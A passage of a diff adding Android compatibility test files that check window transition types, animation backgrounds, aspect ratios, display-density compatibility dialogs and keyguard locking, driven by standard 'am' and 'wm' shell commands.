+import static android.server.am.WindowManagerState.TRANSIT_WALLPAPER_INTRA_CLOSE;
+import static android.server.am.WindowManagerState.TRANSIT_WALLPAPER_INTRA_OPEN;
+import static android.server.am.WindowManagerState.TRANSIT_WALLPAPER_OPEN;
+
+import static org.junit.Assert.assertEquals;
+
+import android.platform.test.annotations.Presubmit;
+
+import org.junit.Test;
+
+/**
+ * This test tests the transition type selection logic in ActivityManager/WindowManager.
+ * BottomActivity is started first, then TopActivity, and we check the transition type that the
+ * system selects when TopActivity enters or exits under various setups.
+ *
+ * Note that we only require the correct transition type to be reported (eg. TRANSIT_ACTIVITY_OPEN,
+ * TRANSIT_TASK_CLOSE, TRANSIT_WALLPAPER_OPEN, etc.). The exact animation is unspecified and can be
+ * overridden.
+ *
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerTransitionSelectionTests
+ */
+@Presubmit
+public class ActivityManagerTransitionSelectionTests extends ActivityManagerTestBase {
+
+ private static final String BOTTOM_ACTIVITY_NAME = "BottomActivity";
+ private static final String TOP_ACTIVITY_NAME = "TopActivity";
+ private static final String TRANSLUCENT_TOP_ACTIVITY_NAME = "TranslucentTopActivity";
+
+ //------------------------------------------------------------------------//
+
+ // Test activity open/close under normal timing
+ @Test
+ public void testOpenActivity_NeitherWallpaper() throws Exception {
+ testOpenActivity(false /*bottomWallpaper*/, false /*topWallpaper*/,
+ false /*slowStop*/, TRANSIT_ACTIVITY_OPEN);
+ }
+
+ @Test
+ public void testCloseActivity_NeitherWallpaper() throws Exception {
+ testCloseActivity(false /*bottomWallpaper*/, false /*topWallpaper*/,
+ false /*slowStop*/, TRANSIT_ACTIVITY_CLOSE);
+ }
+
+ @Test
+ public void testOpenActivity_BottomWallpaper() throws Exception {
+ testOpenActivity(true /*bottomWallpaper*/, false /*topWallpaper*/,
+ false /*slowStop*/, TRANSIT_WALLPAPER_CLOSE);
+ }
+
+ @Test
+ public void testCloseActivity_BottomWallpaper() throws Exception {
+ testCloseActivity(true /*bottomWallpaper*/, false /*topWallpaper*/,
+ false /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
+ }
+
+ @Test
+ public void testOpenActivity_BothWallpaper() throws Exception {
+ testOpenActivity(true /*bottomWallpaper*/, true /*topWallpaper*/,
+ false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_OPEN);
+ }
+
+ @Test
+ public void testCloseActivity_BothWallpaper() throws Exception {
+ testCloseActivity(true /*bottomWallpaper*/, true /*topWallpaper*/,
+ false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
+ }
+
+ //------------------------------------------------------------------------//
+
+ // Test task open/close under normal timing
+ @Test
+ public void testOpenTask_NeitherWallpaper() throws Exception {
+ testOpenTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
+ false /*slowStop*/, TRANSIT_TASK_OPEN);
+ }
+
+ @Test
+ public void testCloseTask_NeitherWallpaper() throws Exception {
+ testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
+ false /*slowStop*/, TRANSIT_TASK_CLOSE);
+ }
+
+ @Test
+ public void testOpenTask_BottomWallpaper() throws Exception {
+ testOpenTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
+ false /*slowStop*/, TRANSIT_WALLPAPER_CLOSE);
+ }
+
+ @Test
+ public void testCloseTask_BottomWallpaper() throws Exception {
+ testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
+ false /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
+ }
+
+ @Test
+ public void testOpenTask_BothWallpaper() throws Exception {
+ testOpenTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
+ false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_OPEN);
+ }
+
+ @Test
+ public void testCloseTask_BothWallpaper() throws Exception {
+ testCloseTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
+ false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
+ }
+
+ //------------------------------------------------------------------------//
+
+ // Test activity close -- bottom activity slow in stopping
+ // These simulate the case where the bottom activity is resumed
+ // before AM receives its activitiyStopped
+ @Test
+ public void testCloseActivity_NeitherWallpaper_SlowStop() throws Exception {
+ testCloseActivity(false /*bottomWallpaper*/, false /*topWallpaper*/,
+ true /*slowStop*/, TRANSIT_ACTIVITY_CLOSE);
+ }
+
+ @Test
+ public void testCloseActivity_BottomWallpaper_SlowStop() throws Exception {
+ testCloseActivity(true /*bottomWallpaper*/, false /*topWallpaper*/,
+ true /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
+ }
+
+ @Test
+ public void testCloseActivity_BothWallpaper_SlowStop() throws Exception {
+ testCloseActivity(true /*bottomWallpaper*/, true /*topWallpaper*/,
+ true /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
+ }
+
+ //------------------------------------------------------------------------//
+
+ // Test task close -- bottom task top activity slow in stopping
+ // These simulate the case where the bottom activity is resumed
+ // before AM receives its activitiyStopped
+ @Test
+ public void testCloseTask_NeitherWallpaper_SlowStop() throws Exception {
+ testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
+ true /*slowStop*/, TRANSIT_TASK_CLOSE);
+ }
+
+ @Test
+ public void testCloseTask_BottomWallpaper_SlowStop() throws Exception {
+ testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
+ true /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
+ }
+
+ @Test
+ public void testCloseTask_BothWallpaper_SlowStop() throws Exception {
+ testCloseTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
+ true /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
+ }
+
+ //------------------------------------------------------------------------//
+
+ /// Test closing of translucent activity/task
+ @Test
+ public void testCloseActivity_NeitherWallpaper_Translucent() throws Exception {
+ testCloseActivityTranslucent(false /*bottomWallpaper*/, false /*topWallpaper*/,
+ TRANSIT_ACTIVITY_CLOSE);
+ }
+
+ @Test
+ public void testCloseActivity_BottomWallpaper_Translucent() throws Exception {
+ testCloseActivityTranslucent(true /*bottomWallpaper*/, false /*topWallpaper*/,
+ TRANSIT_WALLPAPER_OPEN);
+ }
+
+ @Test
+ public void testCloseActivity_BothWallpaper_Translucent() throws Exception {
+ testCloseActivityTranslucent(true /*bottomWallpaper*/, true /*topWallpaper*/,
+ TRANSIT_WALLPAPER_INTRA_CLOSE);
+ }
+
+ @Test
+ public void testCloseTask_NeitherWallpaper_Translucent() throws Exception {
+ testCloseTaskTranslucent(false /*bottomWallpaper*/, false /*topWallpaper*/,
+ TRANSIT_TASK_CLOSE);
+ }
+
+ @Test
+ public void testCloseTask_BottomWallpaper_Translucent() throws Exception {
+ testCloseTaskTranslucent(true /*bottomWallpaper*/, false /*topWallpaper*/,
+ TRANSIT_WALLPAPER_OPEN);
+ }
+
+ @Test
+ public void testCloseTask_BothWallpaper_Translucent() throws Exception {
+ testCloseTaskTranslucent(true /*bottomWallpaper*/, true /*topWallpaper*/,
+ TRANSIT_WALLPAPER_INTRA_CLOSE);
+ }
+
+ //------------------------------------------------------------------------//
+
+ private void testOpenActivity(boolean bottomWallpaper,
+ boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
+ testTransitionSelection(true /*testOpen*/, false /*testNewTask*/,
+ bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
+ }
+ private void testCloseActivity(boolean bottomWallpaper,
+ boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
+ testTransitionSelection(false /*testOpen*/, false /*testNewTask*/,
+ bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
+ }
+ private void testOpenTask(boolean bottomWallpaper,
+ boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
+ testTransitionSelection(true /*testOpen*/, true /*testNewTask*/,
+ bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
+ }
+ private void testCloseTask(boolean bottomWallpaper,
+ boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
+ testTransitionSelection(false /*testOpen*/, true /*testNewTask*/,
+ bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
+ }
+ private void testCloseActivityTranslucent(boolean bottomWallpaper,
+ boolean topWallpaper, String expectedTransit) throws Exception {
+ testTransitionSelection(false /*testOpen*/, false /*testNewTask*/,
+ bottomWallpaper, topWallpaper, true /*topTranslucent*/,
+ false /*slowStop*/, expectedTransit);
+ }
+ private void testCloseTaskTranslucent(boolean bottomWallpaper,
+ boolean topWallpaper, String expectedTransit) throws Exception {
+ testTransitionSelection(false /*testOpen*/, true /*testNewTask*/,
+ bottomWallpaper, topWallpaper, true /*topTranslucent*/,
+ false /*slowStop*/, expectedTransit);
+ }
+ //------------------------------------------------------------------------//
+
+ private void testTransitionSelection(
+ boolean testOpen, boolean testNewTask,
+ boolean bottomWallpaper, boolean topWallpaper, boolean topTranslucent,
+ boolean testSlowStop, String expectedTransit) throws Exception {
+ String bottomStartCmd = getAmStartCmd(BOTTOM_ACTIVITY_NAME);
+ if (bottomWallpaper) {
+ bottomStartCmd += " --ez USE_WALLPAPER true";
+ }
+ if (testSlowStop) {
+ bottomStartCmd += " --ei STOP_DELAY 3000";
+ }
+ executeShellCommand(bottomStartCmd);
+
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(BOTTOM_ACTIVITY_NAME).build());
+
+ final String topActivityName = topTranslucent ?
+ TRANSLUCENT_TOP_ACTIVITY_NAME : TOP_ACTIVITY_NAME;
+ String topStartCmd = getAmStartCmd(topActivityName);
+ if (testNewTask) {
+ topStartCmd += " -f 0x18000000";
+ }
+ if (topWallpaper) {
+ topStartCmd += " --ez USE_WALLPAPER true";
+ }
+ if (!testOpen) {
+ topStartCmd += " --ei FINISH_DELAY 1000";
+ }
+ executeShellCommand(topStartCmd);
+
+ Thread.sleep(5000);
+ if (testOpen) {
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(topActivityName).build());
+ } else {
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(BOTTOM_ACTIVITY_NAME).build());
+ }
+
+ assertEquals("Picked wrong transition", expectedTransit,
+ mAmWmState.getWmState().getLastTransition());
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/AnimationBackgroundTests.java b/tests/framework/base/activitymanager/src/android/server/am/AnimationBackgroundTests.java
new file mode 100644
index 0000000..854b2ee
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/AnimationBackgroundTests.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import org.junit.Test;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.AnimationBackgroundTests
+ */
+public class AnimationBackgroundTests extends ActivityManagerTestBase {
+
+ @Test
+ public void testAnimationBackground_duringAnimation() throws Exception {
+ launchActivity(LAUNCHING_ACTIVITY);
+ getLaunchActivityBuilder()
+ .setTargetActivityName("AnimationTestActivity")
+ .setWaitForLaunched(false)
+ .execute();
+
+ // Make sure we are in the middle of the animation.
+ mAmWmState.waitForWithWmState(state -> state
+ .getStandardStackByWindowingMode(WINDOWING_MODE_FULLSCREEN)
+ .isWindowAnimationBackgroundSurfaceShowing(),
+ "***Waiting for animation background showing");
+ assertTrue("window animation background needs to be showing", mAmWmState.getWmState()
+ .getStandardStackByWindowingMode(WINDOWING_MODE_FULLSCREEN)
+ .isWindowAnimationBackgroundSurfaceShowing());
+ }
+
+ @Test
+ public void testAnimationBackground_gone() throws Exception {
+ launchActivity(LAUNCHING_ACTIVITY);
+ getLaunchActivityBuilder().setTargetActivityName("AnimationTestActivity").execute();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder("AnimationTestActivity").build());
+ assertFalse("window animation background needs to be gone", mAmWmState.getWmState()
+ .getStandardStackByWindowingMode(WINDOWING_MODE_FULLSCREEN)
+ .isWindowAnimationBackgroundSurfaceShowing());
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java
new file mode 100644
index 0000000..7eb3f37
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.content.Context.WINDOW_SERVICE;
+import static android.content.pm.PackageManager.FEATURE_WATCH;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.content.Context;
+import android.platform.test.annotations.Presubmit;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.FlakyTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.DisplayMetrics;
+import android.view.Display;
+import android.view.WindowManager;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base/activitymanager
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.AspectRatioTests
+ */
+@RunWith(AndroidJUnit4.class)
+public class AspectRatioTests extends AspectRatioTestsBase {
+
+ // The max. aspect ratio the test activities are using.
+ private static final float MAX_ASPECT_RATIO = 1.0f;
+
+ // The minimum supported device aspect ratio.
+ private static final float MIN_DEVICE_ASPECT_RATIO = 1.333f;
+
+ // The minimum supported device aspect ratio for watches.
+ private static final float MIN_WATCH_DEVICE_ASPECT_RATIO = 1.0f;
+
+ // Test target activity that has maxAspectRatio="true" and resizeableActivity="false".
+ public static class MaxAspectRatioActivity extends Activity {
+ }
+
+ // Test target activity that has maxAspectRatio="1.0" and resizeableActivity="true".
+ public static class MaxAspectRatioResizeableActivity extends Activity {
+ }
+
+ // Test target activity that has no maxAspectRatio defined and resizeableActivity="false".
+ public static class MaxAspectRatioUnsetActivity extends Activity {
+ }
+
+ // Test target activity that has maxAspectRatio defined as
+ // <meta-data android:name="android.max_aspect" android:value="1.0" />
+ // and resizeableActivity="false".
+ public static class MetaDataMaxAspectRatioActivity extends Activity {
+ }
+
+ @Rule
+ public ActivityTestRule<MaxAspectRatioActivity> mMaxAspectRatioActivity =
+ new ActivityTestRule<>(MaxAspectRatioActivity.class,
+ false /* initialTouchMode */, false /* launchActivity */);
+
+ @Rule
+ public ActivityTestRule<MaxAspectRatioResizeableActivity> mMaxAspectRatioResizeableActivity =
+ new ActivityTestRule<>(MaxAspectRatioResizeableActivity.class,
+ false /* initialTouchMode */, false /* launchActivity */);
+
+ @Rule
+ public ActivityTestRule<MetaDataMaxAspectRatioActivity> mMetaDataMaxAspectRatioActivity =
+ new ActivityTestRule<>(MetaDataMaxAspectRatioActivity.class,
+ false /* initialTouchMode */, false /* launchActivity */);
+
+ @Rule
+ public ActivityTestRule<MaxAspectRatioUnsetActivity> mMaxAspectRatioUnsetActivity =
+ new ActivityTestRule<>(MaxAspectRatioUnsetActivity.class,
+ false /* initialTouchMode */, false /* launchActivity */);
+
+ @Test
+ @Presubmit
+ public void testDeviceAspectRatio() throws Exception {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final WindowManager wm = (WindowManager) context.getSystemService(WINDOW_SERVICE);
+ final Display display = wm.getDefaultDisplay();
+ final DisplayMetrics metrics = new DisplayMetrics();
+ display.getRealMetrics(metrics);
+
+ float longSide = Math.max(metrics.widthPixels, metrics.heightPixels);
+ float shortSide = Math.min(metrics.widthPixels, metrics.heightPixels);
+ float deviceAspectRatio = longSide / shortSide;
+ float expectedMinAspectRatio = context.getPackageManager().hasSystemFeature(FEATURE_WATCH)
+ ? MIN_WATCH_DEVICE_ASPECT_RATIO : MIN_DEVICE_ASPECT_RATIO;
+
+ if (deviceAspectRatio < expectedMinAspectRatio) {
+ fail("deviceAspectRatio=" + deviceAspectRatio
+ + " is less than expectedMinAspectRatio=" + expectedMinAspectRatio);
+ }
+ }
+
+ @Test
+ @Presubmit
+ public void testMaxAspectRatio() throws Exception {
+ runAspectRatioTest(mMaxAspectRatioActivity, actual -> {
+ if (MAX_ASPECT_RATIO >= actual) return;
+ fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
+ });
+ }
+
+ @Test
+ @Presubmit
+ public void testMetaDataMaxAspectRatio() throws Exception {
+ runAspectRatioTest(mMetaDataMaxAspectRatioActivity, actual -> {
+ if (MAX_ASPECT_RATIO >= actual) return;
+ fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
+ });
+ }
+
+ @Test
+ @FlakyTest // TODO: Currently 10% flaky so not part of pre-submit for now
+ public void testMaxAspectRatioResizeableActivity() throws Exception {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final float expected = getAspectRatio(context);
+ final Activity testActivity = launchActivity(mMaxAspectRatioResizeableActivity);
+ PollingCheck.waitFor(testActivity::hasWindowFocus);
+
+ Display testDisplay = testActivity.findViewById(android.R.id.content).getDisplay();
+
+ // TODO(b/69982434): Fix DisplayManager NPE when getting display from Instrumentation
+ // context, then can use DisplayManager to get the aspect ratio of the correct display.
+ if (testDisplay.getDisplayId() != Display.DEFAULT_DISPLAY) {
+ return;
+ }
+
+ // Since this activity is resizeable, its aspect ratio shouldn't be less than the device's
+ runTest(testActivity, actual -> {
+ if (aspectRatioEqual(expected, actual) || expected < actual) return;
+ fail("actual=" + actual + " is less than expected=" + expected);
+ });
+ }
+
+ @Test
+ @Presubmit
+ public void testMaxAspectRatioUnsetActivity() throws Exception {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final float expected = getAspectRatio(context);
+
+ // Since this activity didn't set an aspect ratio, its aspect ratio shouldn't be less than
+ // the device's
+ runAspectRatioTest(mMaxAspectRatioUnsetActivity, actual -> {
+ if (aspectRatioEqual(expected, actual) || expected < actual) return;
+ fail("actual=" + actual + " is less than expected=" + expected);
+ });
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java
new file mode 100644
index 0000000..6d1dc53
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.content.Context;
+import android.graphics.Point;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.view.Display;
+import android.view.WindowManager;
+
+class AspectRatioTestsBase {
+
+ interface AssertAspectRatioCallback {
+ void assertAspectRatio(float actual);
+ }
+
+ void runAspectRatioTest(final ActivityTestRule activityRule,
+ final AssertAspectRatioCallback callback) {
+ final Activity activity = launchActivity(activityRule);
+ runTest(activity, callback);
+ finishActivity(activityRule);
+
+ // TODO(b/35810513): All this rotation stuff doesn't really work yet. Need to make sure
+ // context is updated correctly here. Also, what does it mean to be holding a reference to
+ // this activity if changing the orientation will cause a relaunch?
+// activity.setRequestedOrientation(SCREEN_ORIENTATION_LANDSCAPE);
+// waitForIdle();
+// callback.assertAspectRatio(getAspectRatio(activity));
+//
+// activity.setRequestedOrientation(SCREEN_ORIENTATION_PORTRAIT);
+// waitForIdle();
+// callback.assertAspectRatio(getAspectRatio(activity));
+ }
+
+ protected void runTest(Activity activity, AssertAspectRatioCallback callback) {
+ callback.assertAspectRatio(getAspectRatio(activity));
+ }
+
+ static float getAspectRatio(Context context) {
+ final Display display =
+ context.getSystemService(WindowManager.class).getDefaultDisplay();
+ final Point size = new Point();
+ display.getSize(size);
+ final float longSide = Math.max(size.x, size.y);
+ final float shortSide = Math.min(size.x, size.y);
+ return longSide / shortSide;
+ }
+
+ protected Activity launchActivity(final ActivityTestRule activityRule) {
+ final Activity activity = activityRule.launchActivity(null);
+ waitForIdle();
+ return activity;
+ }
+
+ private void finishActivity(ActivityTestRule activityRule) {
+ final Activity activity = activityRule.getActivity();
+ if (activity != null) {
+ activity.finish();
+ }
+ }
+
+ private static void waitForIdle() {
+ InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+ }
+
+ static boolean aspectRatioEqual(float a, float b) {
+ // Aspect ratios are considered equal if they ware within to significant digits.
+ float diff = Math.abs(a - b);
+ return diff < 0.01f;
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/DisplaySizeTest.java b/tests/framework/base/activitymanager/src/android/server/am/DisplaySizeTest.java
new file mode 100644
index 0000000..86a7f8c
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/DisplaySizeTest.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static org.junit.Assert.assertTrue;
+
+import android.os.Build;
+
+import org.junit.After;
+import org.junit.Test;
+
+/**
+ * Ensure that compatibility dialog is shown when launching an application with
+ * an unsupported smallest width.
+ *
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.DisplaySizeTest
+ */
+public class DisplaySizeTest extends ActivityManagerTestBase {
+ private static final String DENSITY_PROP_DEVICE = "ro.sf.lcd_density";
+ private static final String DENSITY_PROP_EMULATOR = "qemu.sf.lcd_density";
+
+ private static final String AM_START_COMMAND = "am start -n %s/%s.%s";
+ private static final String AM_FORCE_STOP = "am force-stop %s";
+
+ private static final int ACTIVITY_TIMEOUT_MILLIS = 1000;
+ private static final int WINDOW_TIMEOUT_MILLIS = 1000;
+
+ @After
+ @Override
+ public void tearDown() throws Exception {
+ super.tearDown();
+ resetDensity();
+
+ // Ensure app process is stopped.
+ forceStopPackage("android.server.am.displaysize");
+ forceStopPackage("android.server.am");
+ }
+
+ @Test
+ public void testCompatibilityDialog() throws Exception {
+ // Launch some other app (not to perform density change on launcher).
+ startActivity("android.server.am", "TestActivity");
+ verifyWindowDisplayed("TestActivity", ACTIVITY_TIMEOUT_MILLIS);
+
+ setUnsupportedDensity();
+
+ // Launch target app.
+ startActivity("android.server.am.displaysize", "SmallestWidthActivity");
+ verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
+ verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
+ }
+
+ @Test
+ public void testCompatibilityDialogWhenFocused() throws Exception {
+ startActivity("android.server.am.displaysize", "SmallestWidthActivity");
+ verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
+
+ setUnsupportedDensity();
+
+ verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
+ }
+
+ @Test
+ public void testCompatibilityDialogAfterReturn() throws Exception {
+ // Launch target app.
+ startActivity("android.server.am.displaysize", "SmallestWidthActivity");
+ verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
+ // Launch another activity.
+ startOtherActivityOnTop("android.server.am.displaysize", "SmallestWidthActivity");
+ verifyWindowDisplayed("TestActivity", ACTIVITY_TIMEOUT_MILLIS);
+
+ setUnsupportedDensity();
+
+ // Go back.
+ executeShellCommand("input keyevent 4");
+
+ verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
+ verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
+ }
+
+ private void setUnsupportedDensity() {
+ // Set device to 0.85 zoom. It doesn't matter that we're zooming out
+ // since the feature verifies that we're in a non-default density.
+ final int stableDensity = getStableDensity();
+ final int targetDensity = (int) (stableDensity * 0.85);
+ setDensity(targetDensity);
+ }
+
+ private int getStableDensity() {
+ final String densityProp;
+ if (Build.getSerial().startsWith("emulator-")) {
+ densityProp = DENSITY_PROP_EMULATOR;
+ } else {
+ densityProp = DENSITY_PROP_DEVICE;
+ }
+
+ return Integer.parseInt(executeShellCommand("getprop " + densityProp).trim());
+ }
+
+ private void setDensity(int targetDensity) {
+ executeShellCommand("wm density " + targetDensity);
+
+ // Verify that the density is changed.
+ final String output = executeShellCommand("wm density");
+ final boolean success = output.contains("Override density: " + targetDensity);
+
+ assertTrue("Failed to set density to " + targetDensity, success);
+ }
+
+ private void resetDensity() {
+ executeShellCommand("wm density reset");
+ }
+
+ private void forceStopPackage(String packageName) {
+ final String forceStopCmd = String.format(AM_FORCE_STOP, packageName);
+ executeShellCommand(forceStopCmd);
+ }
+
+ private void startActivity(String packageName, String activityName){
+ executeShellCommand(getStartCommand(packageName, activityName));
+ }
+
+ private void startOtherActivityOnTop(String packageName, String activityName) {
+ final String startCmd = getStartCommand(packageName, activityName)
+ + " -f 0x20000000 --ez launch_another_activity true";
+ executeShellCommand(startCmd);
+ }
+
+ private String getStartCommand(String packageName, String activityName) {
+ return String.format(AM_START_COMMAND, packageName, packageName, activityName);
+ }
+
+ private void verifyWindowDisplayed(String windowName, long timeoutMillis) {
+ boolean success = false;
+
+ // Verify that compatibility dialog is shown within 1000ms.
+ final long timeoutTimeMillis = System.currentTimeMillis() + timeoutMillis;
+ while (!success && System.currentTimeMillis() < timeoutTimeMillis) {
+ final String output = executeShellCommand("dumpsys window");
+ success = output.contains(windowName);
+ }
+
+ assertTrue(windowName + " was not displayed", success);
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
new file mode 100644
index 0000000..4ad14db
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
@@ -0,0 +1,228 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.KeyguardLockedTests
+ */
+public class KeyguardLockedTests extends KeyguardTestBase {
+
+ private static final String SHOW_WHEN_LOCKED_ACTIVITY = "ShowWhenLockedActivity";
+ private static final String PIP_ACTIVITY = "PipActivity";
+ private static final String PIP_ACTIVITY_ACTION_ENTER_PIP =
+ "android.server.am.PipActivity.enter_pip";
+ private static final String EXTRA_SHOW_OVER_KEYGUARD = "show_over_keyguard";
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ setLockCredential();
+ }
+
+ @After
+ @Override
+ public void tearDown() throws Exception {
+ super.tearDown();
+ tearDownLockCredentials();
+ }
+
+ @Test
+ public void testLockAndUnlock() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ unlockDeviceWithCredential();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertKeyguardGone();
+ }
+
